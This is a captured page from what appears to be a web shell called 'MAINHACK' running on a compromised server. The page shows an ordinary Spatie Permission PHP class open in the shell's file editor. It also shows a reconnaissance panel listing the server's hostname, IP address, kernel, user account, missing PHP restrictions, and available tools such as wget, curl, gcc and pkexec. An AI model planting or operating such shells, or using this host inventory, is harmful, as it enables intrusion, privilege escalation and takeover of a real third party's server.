[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: WildcardPermission.php
<?php namespace Spatie\Permission; use Illuminate\Support\Collection; use Spatie\Permission\Contracts\Wildcard; use Spatie\Permission\Exceptions\WildcardPermissionNotProperlyFormatted; class WildcardPermission implements Wildcard { /** @var string */ public const WILDCARD_TOKEN = '*'; /** @var string */ public const PART_DELIMITER = '.'; /** @var string */ public const SUBPART_DELIMITER = ','; /** @var string */ protected $permission; /** @var Collection */ protected $parts; public function __construct(string $permission) { $this->permission = $permission; $this->parts = collect(); $this->setParts(); } /** * @param string|WildcardPermission $permission */ public function implies($permission): bool { if (is_string($permission)) { $permission = new static($permission); } $otherParts = $permission->getParts(); $i = 0; $partsCount = $this->getParts()->count(); foreach ($otherParts as $otherPart) { if ($partsCount - 1 < $i) { return true; } if (! $this->parts->get($i)->contains(static::WILDCARD_TOKEN) && ! $this->containsAll($this->parts->get($i), $otherPart)) { return false; } $i++; } for ($i; $i < $partsCount; $i++) { if (! $this->parts->get($i)->contains(static::WILDCARD_TOKEN)) { return false; } } return true; } protected function containsAll(Collection $part, Collection $otherPart): bool { foreach ($otherPart->toArray() as $item) { if (! $part->contains($item)) { return false; } } return true; } public function getParts(): Collection { return $this->parts; } /** * Sets the different parts and subparts from permission string. */ protected function setParts(): void { if (empty($this->permission) || $this->permission == null) { throw WildcardPermissionNotProperlyFormatted::create($this->permission); } $parts = collect(explode(static::PART_DELIMITER, $this->permission)); $parts->each(function ($item, $key) { $subParts = collect(explode(static::SUBPART_DELIMITER, $item)); if ($subParts->isEmpty() || $subParts->contains('')) { throw WildcardPermissionNotProperlyFormatted::create($this->permission); } $this->parts->add($subParts); }); if ($this->parts->isEmpty()) { throw WildcardPermissionNotProperlyFormatted::create($this->permission); } } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.8 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002